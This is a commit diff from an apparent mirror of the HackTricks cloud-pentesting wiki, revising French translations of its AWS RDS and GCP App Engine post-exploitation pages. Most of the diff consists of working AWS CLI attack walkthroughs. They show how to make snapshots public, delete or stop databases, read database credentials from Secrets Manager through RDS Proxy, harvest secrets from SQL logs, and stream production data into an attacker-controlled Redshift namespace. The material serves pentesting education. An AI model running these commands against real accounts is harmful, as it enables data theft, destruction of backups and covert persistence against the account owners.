mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+94
-67
@@ -1,4 +1,4 @@
|
||||
# AWS - RDS Post-Exploitation
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Si l'attaquant dispose de permissions suffisantes, il peut rendre une **DB accessible publiquement** en créant un snapshot de la DB, puis une DB accessible publiquement à partir du snapshot.
|
||||
Si l'attaquant dispose de permissions suffisantes, il pourrait rendre une DB accessible publiquement en créant un snapshot de la DB, puis restaurer une DB accessible publiquement à partir du snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,49 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer l'arrêt immédiat d'une instance RDS ou d'un cluster entier, provoquant l'indisponibilité de la base de données, des connexions rompues et l'interruption des processus qui dépendent de la base de données.
|
||||
Un attaquant disposant de rds:StopDBCluster ou rds:StopDBInstance peut forcer l'arrêt immédiat d'une instance RDS ou d'un cluster entier, provoquant une indisponibilité de la base de données, des connexions rompues et l'interruption des processus qui dépendent de la base de données.
|
||||
|
||||
Pour arrêter une seule instance de base de données (exemple) :
|
||||
Pour arrêter une seule instance de DB (exemple) :
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Pour arrêter un cluster DB entier (exemple):
|
||||
Pour arrêter un cluster DB entier (exemple) :
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Modify*`
|
||||
Un attaquant disposant des permissions rds:Modify* peut modifier des configurations critiques et des ressources auxiliaires (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) sans toucher directement l'instance ou le cluster. Des changements tels que l'ajustement des connection/time-out parameters, la modification d'un proxy endpoint, le changement des certificates de confiance, la modification de la capacité logique ou la reconfiguration d'un subnet group peuvent affaiblir la sécurité (ouvrir de nouveaux chemins d'accès), casser le routage et le load-balancing, invalider les replication/backup policies, et généralement dégrader la disponibilité ou la capacité de récupération. Ces modifications peuvent aussi faciliter une data exfiltration indirecte ou gêner une récupération ordonnée de la base de données après un incident.
|
||||
|
||||
Déplacer ou modifier les subnets assignés à un RDS subnet group :
|
||||
```bash
|
||||
aws rds modify-db-subnet-group \
|
||||
--db-subnet-group-name <db-subnet-group-name> \
|
||||
--subnet-ids <subnet-id-1> <subnet-id-2>
|
||||
```
|
||||
Modifier les paramètres bas niveau du moteur dans un cluster parameter group:
|
||||
```bash
|
||||
aws rds modify-db-cluster-parameter-group \
|
||||
--db-cluster-parameter-group-name <parameter-group-name> \
|
||||
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
|
||||
```
|
||||
### `rds:Restore*`
|
||||
|
||||
Un attaquant disposant des autorisations `rds:Restore*` peut restaurer des bases de données entières à partir de snapshots, de sauvegardes automatisées, de point-in-time recovery (PITR), ou de fichiers stockés dans S3, en créant de nouvelles instances ou clusters peuplés avec les données du point sélectionné. Ces opérations n'écrasent pas les ressources originales — elles créent de nouveaux objets contenant les données historiques — ce qui permet à un attaquant d'obtenir des copies complètes et fonctionnelles de la base de données (issues de points temporels passés ou de fichiers S3 externes) et de les utiliser pour exfiltrer des données, manipuler des enregistrements historiques ou reconstruire des états antérieurs.
|
||||
|
||||
Restaurer une instance DB à un point précis dans le temps :
|
||||
```bash
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--source-db-instance-identifier <source-db-instance-identifier> \
|
||||
--target-db-instance-identifier <target-db-instance-identifier> \
|
||||
--restore-time "<restore-time-ISO8601>" \
|
||||
--db-instance-class <db-instance-class> \
|
||||
--publicly-accessible --no-multi-az
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
Un attaquant auquel on octroie rds:Delete* peut supprimer des ressources RDS — supprimer DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups et autres artefacts associés — entraînant une coupure de service immédiate, une perte de données, la destruction des recovery points et la perte de preuves médico-légales.
|
||||
Un attaquant auquel on a accordé rds:Delete* peut supprimer des ressources RDS, supprimant des instances DB, des clusters, des snapshots, des sauvegardes automatisées, des groupes de sous-réseaux, des groupes de paramètres/options et des artefacts associés, provoquant une interruption de service immédiate, une perte de données, la destruction des points de récupération et la perte de preuves médico-légales.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -78,7 +106,7 @@ aws rds delete-db-cluster \
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **accessible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
|
||||
|
||||
Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il peut toutefois rendre **publics** d'autres snapshots créés.
|
||||
Si l'attaquant **ne possède pas la permission `rds:CreateDBSnapshot`**, il pourrait quand même rendre **d'autres** snapshots créés **publics**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,48 +117,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un attaquant disposant de l'autorisation `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers journaux d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés par inadvertance, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
|
||||
Un attaquant disposant de la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers journaux d'une instance RDS**. Si des données sensibles ou des identifiants d'accès sont enregistrés accidentellement, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: Accès à des informations sensibles ou exécution d'actions non autorisées en utilisant des leaked credentials.
|
||||
**Impact potentiel**: Accès à des informations sensibles ou actions non autorisées en utilisant leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Un attaquant disposant de ces autorisations peut **DoS des instances RDS existantes**.
|
||||
Un attaquant disposant de ces autorisations peut **DoS existing RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Impact potentiel**: Suppression des instances RDS existantes et perte potentielle de données.
|
||||
**Potential impact**: Suppression des instances RDS existantes et perte potentielle de données.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester
|
||||
> TODO: Tester
|
||||
|
||||
Un attaquant disposant de cette permission peut **exporter un snapshot d'instance RDS vers un S3 bucket**. Si l'attaquant contrôle le S3 bucket de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté.
|
||||
Un attaquant disposant de cette permission peut **exporter un snapshot d'une instance RDS vers un bucket S3**. Si l'attaquant contrôle le bucket S3 de destination, il peut potentiellement accéder à des données sensibles contenues dans le snapshot exporté.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impact potentiel** : Accès à des données sensibles dans le snapshot exporté.
|
||||
**Impact potentiel**: Accès à des données sensibles dans le snapshot exporté.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abuse cross-Region automated backups replication pour dupliquer discrètement les automated backups d'une instance RDS dans une autre AWS Region et y restaurer. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données en dehors des contrôles habituels dans une Region que les défenseurs pourraient ne pas surveiller.
|
||||
Abusez de la réplication des sauvegardes automatisées inter-région pour dupliquer discrètement les sauvegardes automatisées d'une instance RDS dans une autre région AWS et y restaurer la base. L'attaquant peut ensuite rendre la DB restaurée accessible publiquement et réinitialiser le mot de passe master pour accéder aux données hors bande dans une région que les défenseurs pourraient ne pas surveiller.
|
||||
|
||||
Permissions requises (minimum) :
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` dans la région de destination
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` dans la région de destination
|
||||
- `rds:RestoreDBInstanceToPointInTime` dans la région de destination
|
||||
- `rds:ModifyDBInstance` dans la région de destination
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (nettoyage optionnel)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (pour exposer la DB restaurée)
|
||||
|
||||
Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre Region et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
|
||||
Impact : Persistance et exfiltration de données en restaurant une copie des données de production dans une autre région et en l'exposant publiquement avec des identifiants contrôlés par l'attaquant.
|
||||
|
||||
<details>
|
||||
<summary>CLI de bout en bout (remplacer les placeholders)</summary>
|
||||
<summary>CLI de bout en bout (remplacez les espaces réservés)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -199,25 +227,25 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### Activer la journalisation SQL complète via DB parameter groups et exfiltrate via RDS log APIs
|
||||
### Activer la journalisation SQL complète via DB parameter groups et exfiltrer via RDS log APIs
|
||||
|
||||
Abuser `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB nécessaire). Activer la journalisation SQL du moteur et récupérer les fichiers logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs.
|
||||
Exploiter `rds:ModifyDBParameterGroup` avec les RDS log download APIs pour capturer toutes les instructions SQL exécutées par les applications (aucun identifiant du moteur DB requis). Activer la journalisation SQL du moteur et récupérer les fichiers de logs via `rds:DescribeDBLogFiles` et `rds:DownloadDBLogFilePortion` (ou le REST `downloadCompleteLogFile`). Utile pour collecter des requêtes pouvant contenir des secrets/PII/JWTs.
|
||||
|
||||
Permissions requises (minimum) :
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise le default)
|
||||
- `rds:RebootDBInstance` (pour les paramètres nécessitant un reboot, ex. PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (uniquement pour attacher un parameter group personnalisé si l'instance utilise celui par défaut)
|
||||
- `rds:RebootDBInstance` (pour les paramètres nécessitant un redémarrage, par ex., PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
Étapes
|
||||
1) Recon de la cible et du parameter group actuel
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible d'éditer le groupe par défaut)
|
||||
- Si l'instance utilise déjà un groupe personnalisé, réutilisez son nom à l'étape suivante.
|
||||
2) Assurez-vous qu'un DB parameter group personnalisé est attaché (impossible de modifier le paramètre par défaut)
|
||||
- Si l'instance utilise déjà un DB parameter group personnalisé, réutilisez son nom à l'étape suivante.
|
||||
- Sinon, créez et attachez-en un correspondant à la famille du moteur :
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
@@ -233,7 +261,7 @@ aws rds modify-db-instance \
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Activer la journalisation SQL détaillée
|
||||
- Moteurs MySQL (immédiat / sans redémarrage):
|
||||
- MySQL engines (immédiat / sans redémarrage):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +272,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (redémarrage requis):
|
||||
- Moteurs PostgreSQL (redémarrage nécessaire) :
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,7 +284,7 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les requêtes seront écrites dans les logs de fichiers du moteur
|
||||
4) Laisser la charge de travail s'exécuter (ou générer des requêtes). Les statements seront consignés dans les fichiers de logs du moteur
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
@@ -271,7 +299,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analyser hors ligne à la recherche de données sensibles
|
||||
6) Analyser hors ligne pour des données sensibles
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impact : Post-exploitation — accès aux données en capturant toutes les requêtes SQL applicatives via les AWS APIs (no DB creds), potentiellement leaking secrets, JWTs et PII.
|
||||
Impact : Accès aux données post-exploitation en capturant toutes les instructions SQL de l'application via les APIs AWS (no DB creds), potentially leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuser des RDS read replicas pour obtenir un accès en lecture out-of-band sans toucher aux identifiants de l'instance primaire. Un attaquant peut créer une read replica à partir d'une instance de production, réinitialiser le master password de la replica (cela ne modifie pas l'instance primaire), et éventuellement exposer la replica publiquement pour exfiltrer des données.
|
||||
Exploiter les read replicas RDS pour obtenir un accès en lecture hors-bande sans toucher aux credentials de l'instance primary. Un attaquant peut créer une read replica à partir d'une instance de production, réinitialiser le master password de la replica (cela ne change pas celui du primary), et éventuellement exposer la replica publiquement pour exfiltrate data.
|
||||
|
||||
Permissions nécessaires (minimum) :
|
||||
Permissions requises (minimum) :
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (si exposition publique)
|
||||
|
||||
Impact : Accès en lecture seule aux données de production via une replica avec des identifiants contrôlés par l'attaquant ; probabilité de détection réduite car l'instance primaire reste intacte et la réplication continue.
|
||||
Impact : Accès en lecture seule aux données de production via une replica avec des credentials contrôlés par l'attaquant ; probabilité de détection plus faible car le primary reste intact et la replication continue.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -342,11 +370,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Exemple de preuves (MySQL) :
|
||||
- Statut de la DB répliquée : `available`, réplication en lecture : `replicating`
|
||||
- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplica.
|
||||
- Connexion réussie avec le nouveau mot de passe et `@@read_only=1` confirmant l'accès en lecture seule à la réplique.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuse RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué et en lecture seule. Puis réinitialisez les identifiants master du green pour accéder aux données sans toucher à l'instance blue (prod). C'est plus discret que le partage de snapshot et contourne souvent la surveillance qui se concentre uniquement sur la source.
|
||||
Exploiter RDS Blue/Green pour cloner une DB de production dans un environnement green continuellement répliqué en lecture seule. Puis réinitialiser les identifiants du master green pour accéder aux données sans toucher à l'instance blue (prod). C'est plus discret que le snapshot sharing et contourne souvent la surveillance qui ne se concentre que sur la source.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,19 +421,18 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impact : Lecture seule mais accès complet aux données d'un clone quasi temps réel de la production sans modification de l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne.
|
||||
Impact : Accès en lecture seule mais accès complet aux données d'un clone de production quasi temps réel sans modifier l'instance de production. Utile pour l'extraction discrète de données et l'analyse hors ligne.
|
||||
|
||||
### SQL hors-bande via RDS Data API en activant l'HTTP endpoint + réinitialisation du mot de passe principal
|
||||
|
||||
### SQL hors-bande via RDS Data API en activant l'HTTP endpoint + réinitialisant le mot de passe principal
|
||||
Abusez d'Aurora pour activer l'HTTP endpoint du RDS Data API sur un cluster cible, réinitialiser le mot de passe principal vers une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Fonctionne sur les moteurs Aurora qui prennent en charge le Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; certaines versions d'Aurora PostgreSQL/MySQL).
|
||||
|
||||
Abuser d'Aurora pour activer le RDS Data API HTTP endpoint sur un cluster cible, réinitialiser le mot de passe principal à une valeur que vous contrôlez, et exécuter du SQL via HTTPS (aucun chemin réseau VPC requis). Works on Aurora engines that support the Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
|
||||
|
||||
Permissions (minimum) :
|
||||
Permissions (minimales):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impact : contourne la segmentation réseau et exfiltre des données via les API AWS sans connectivité VPC directe au DB.
|
||||
Impact : Contourne la segmentation réseau et exfiltre des données via les APIs AWS sans connectivité VPC directe vers la DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI de bout en bout (exemple Aurora MySQL)</summary>
|
||||
@@ -461,21 +488,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Remarques :
|
||||
- Si rds-data rejette des instructions SQL multi-énoncés, effectuez des appels execute-statement séparés.
|
||||
- Si les requêtes SQL multi-instructions sont rejetées par rds-data, lancez des appels execute-statement séparés.
|
||||
- Pour les moteurs où modify-db-cluster --enable-http-endpoint n'a aucun effet, utilisez rds enable-http-endpoint --resource-arn.
|
||||
- Assurez-vous que le moteur/version prend réellement en charge le Data API ; sinon HttpEndpointEnabled restera False.
|
||||
- Assurez-vous que le moteur/version prend réellement en charge la Data API ; sinon HttpEndpointEnabled restera False.
|
||||
|
||||
|
||||
### Récupérer les identifiants DB via les secrets d'authentification RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusez de la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification backend, puis lisez ce secret pour obtenir les identifiants de la base de données. Dans de nombreux environnements, l'autorisation étendue `secretsmanager:GetSecretValue` est accordée, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal ciblées peuvent également permettre `kms:Decrypt`.
|
||||
Abusez la configuration RDS Proxy pour découvrir le secret Secrets Manager utilisé pour l'authentification côté backend, puis lisez le secret pour obtenir les identifiants de la base de données. De nombreux environnements accordent largement `secretsmanager:GetSecretValue`, ce qui en fait un pivot à faible friction vers les identifiants DB. Si le secret utilise une CMK, des permissions KMS mal limitées peuvent également permettre `kms:Decrypt`.
|
||||
|
||||
Permissions nécessaires (minimum) :
|
||||
Permissions requises (minimum) :
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` sur le SecretArn référencé
|
||||
- Optionnel lorsque le secret utilise une CMK : `kms:Decrypt` sur cette clé
|
||||
- Optionnel si le secret utilise une CMK : `kms:Decrypt` sur cette clé
|
||||
|
||||
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou une propagation latérale supplémentaire.
|
||||
Impact : divulgation immédiate du nom d'utilisateur/mot de passe DB configuré sur le proxy ; permet un accès direct à la DB ou des mouvements latéraux supplémentaires.
|
||||
|
||||
Étapes
|
||||
```bash
|
||||
@@ -490,7 +517,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Laboratoire (config minimale pour reproduire)
|
||||
Laboratoire (minimal pour reproduire)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -516,15 +543,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Exfiltration continue discrète via Aurora zero‑ETL vers Amazon Redshift (rds:CreateIntegration)
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Exploiter l'intégration Aurora PostgreSQL zero‑ETL pour répliquer en continu les données de production dans un espace de noms Redshift Serverless que vous contrôlez. Avec une resource policy Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour l'ARN d'un cluster Aurora spécifique, un attaquant peut établir une copie des données quasi-temps réel sans identifiants DB, snapshots ni exposition réseau.
|
||||
Exploiter l'intégration zero‑ETL d'Aurora PostgreSQL pour répliquer en continu les données de production dans un namespace Redshift Serverless que vous contrôlez. Avec une resource policy Redshift permissive autorisant CreateInboundIntegration/AuthorizeInboundIntegration pour un ARN de cluster Aurora spécifique, un attaquant peut établir une copie des données quasi temps‑réel sans DB creds, snapshots ni exposition réseau.
|
||||
|
||||
Permissions nécessaires (minimum) :
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (pour interroger)
|
||||
- `rds-data:ExecuteStatement` (optionnel ; pour initialiser des données si nécessaire)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Testé sur : us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
@@ -545,7 +572,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configurer la politique de ressources Redshift pour autoriser la source Aurora</summary>
|
||||
<summary>2) Configurer la politique de ressources de Redshift pour autoriser la source Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -576,7 +603,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Créer un cluster Aurora PostgreSQL (activer Data API et logical replication)</summary>
|
||||
<summary>3) Créer un cluster Aurora PostgreSQL (activer Data API et réplication logique)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -607,7 +634,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Créer l'intégration zero‑ETL à partir de RDS</summary>
|
||||
<summary>4) Créer l'intégration zero‑ETL depuis RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -619,7 +646,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Matérialiser et interroger des données répliquées dans Redshift</summary>
|
||||
<summary>5) Matérialiser et interroger les données répliquées dans Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -633,11 +660,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
</details>
|
||||
|
||||
Preuves observées lors du test :
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION indiquait integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et state PendingDbConnectState avant la création de la DB.
|
||||
- Après CREATE DATABASE FROM INTEGRATION, la liste des tables a révélé le schema ztl et la table customers ; une sélection depuis ztl.customers a renvoyé 2 lignes (Alice, Bob).
|
||||
- redshift describe-inbound-integrations : Statut ACTIVE pour l'intégration arn:...377a462b-...
|
||||
- SVV_INTEGRATION a montré integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et l'état PendingDbConnectState avant la création de la DB.
|
||||
- Après CREATE DATABASE FROM INTEGRATION, lister les tables a révélé le schéma ztl et la table customers ; une sélection depuis ztl.customers a retourné 2 lignes (Alice, Bob).
|
||||
|
||||
Impact : exfiltration continue presque en temps réel de tables sélectionnées Aurora PostgreSQL vers Redshift Serverless contrôlé par l'attaquant, sans utiliser les identifiants de la base de données, les backups, ni l'accès réseau au cluster source.
|
||||
Impact : exfiltration continue quasi‑temps réel de tables Aurora PostgreSQL sélectionnées vers Redshift Serverless contrôlé par l'attaquant, sans utiliser d'identifiants de base de données, de sauvegardes, ou d'accès réseau au cluster source.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+14
-12
@@ -1,10 +1,10 @@
|
||||
# GCP - App Engine Post-exploitation
|
||||
# GCP - App Engine Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `App Engine`
|
||||
|
||||
Pour des informations sur App Engine, consultez :
|
||||
Pour des informations sur App Engine consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -16,32 +16,34 @@ Avec ces permissions, il est possible de :
|
||||
|
||||
- Ajouter une clé
|
||||
- Lister les clés
|
||||
- Obtenir une clé
|
||||
- Récupérer une clé
|
||||
- Supprimer une clé
|
||||
|
||||
> [!CAUTION]
|
||||
> Cependant, je **n'ai pas trouvé de moyen d'accéder à ces informations depuis la cli**, seulement depuis la **console web** où vous devez connaître le **Key type** et le **Key name**, ou depuis l'a**pp engine running app**.
|
||||
> Cependant, je **couldn't find any way to access this information from the cli**, seulement depuis la **web console** où vous devez connaître le **Key type** et le **Key name**, of from the a**pp engine running app**.
|
||||
>
|
||||
> Si vous connaissez des moyens plus simples d'utiliser ces permissions, envoyez un Pull Request!
|
||||
